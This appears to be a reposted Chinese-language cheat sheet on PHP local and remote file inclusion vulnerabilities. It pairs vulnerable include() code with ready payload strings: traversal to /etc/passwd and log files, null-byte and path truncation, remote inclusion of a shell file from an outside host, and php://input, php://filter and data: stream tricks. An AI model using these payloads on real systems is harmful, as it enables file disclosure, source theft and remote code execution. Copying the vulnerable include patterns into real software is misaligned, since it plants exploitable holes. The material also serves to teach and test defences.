關於PHP檔案包含一些漏洞分析

來源:互聯網
上載者:User

基本的檔案包含漏洞:

 代碼如下 複製代碼
<?php include(“includes/” . $_GET['file']); ?>
* 包含同路徑下的檔案:
?file=.htaccess
* 路徑遍曆:
?file=../../../../../../../../../var/lib/locate.db
(該檔案非常有趣因為它允許你搜尋檔案系統)
* 包含注入PHP代碼的檔案:
?file=../../../../../../../../../var/log/apache/error.log
(you can find other possible Apache dirs here and other ways here. Think about all possible logfiles, file uploads, session files etc.)

受限的本地檔案包含:

 代碼如下 複製代碼
 <?php include(“includes/” . $_GET['file'] . “.htm”); ?>
* Null 字元注入(Null Byte Injection):
?file=../../../../../../../../../etc/passwd%00
(需要magic_quotes_gpc=off)
* 列目錄(Null Byte Injection):
?file=../../../../../../../../../var/www/accounts/%00
(僅限BSD, 需要magic_quotes_gpc=off,詳細資料here)
*路徑截斷(Path Truncation):
?file=../../../../../../../../../etc/passwd........... …
(詳細資料參見 here 和 here)
* 點號截斷:
?file=../../../../../../../../../etc/passwd……………. …
(僅限Windows, 更多細節參見 here)

基本的遠程檔案包含:

 代碼如下 複製代碼


<?php include($_GET['file']); ?>

* 包含遠程代碼(Including Remote Code):

?file=[http|https|ftp]://websec.wordpress.com/shell.txt

(需要 allow_url_fopen=On 和 allow_url_include=On)

* 使用php輸入資料流(Using PHP stream php://input):

?file=php://input
(specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On)

* 使用PHP過濾函數(Using PHP stream php://filter):
?file=php://filter/convert.base64-encode/resource=index.php
(lets you read PHP source because it wont get evaluated in base64. More details here and here)
* Using data URIs:
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
(需要 allow_url_include=On)

* 用於跨站指令碼攻擊(Using XSS):

 代碼如下 複製代碼
?file=http://127.0.0.1/path/xss.php?xss=phpcode
(makes sense if firewalled or only whitelisted domains allowed)

受限的遠程檔案包含漏洞

 代碼如下 複製代碼
<?php include($_GET['file'] . “.htm”); ?>
* ?file=http://websec.wordpress.com/shell
* ?file=http://websec.wordpress.com/shell.txt?
* ?file=http://websec.wordpress.com/shell.txt%23
(需要 allow_url_fopen=On 和 allow_url_include=On)

靜態遠程檔案包含漏洞:

 代碼如下 複製代碼

<?php include(“http://192.168.1.10/config.php”); ?>
* 中間人攻擊(Man In The Middle)
(lame indeed, but often forgotten)


來自Reiners’ Weblog。

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.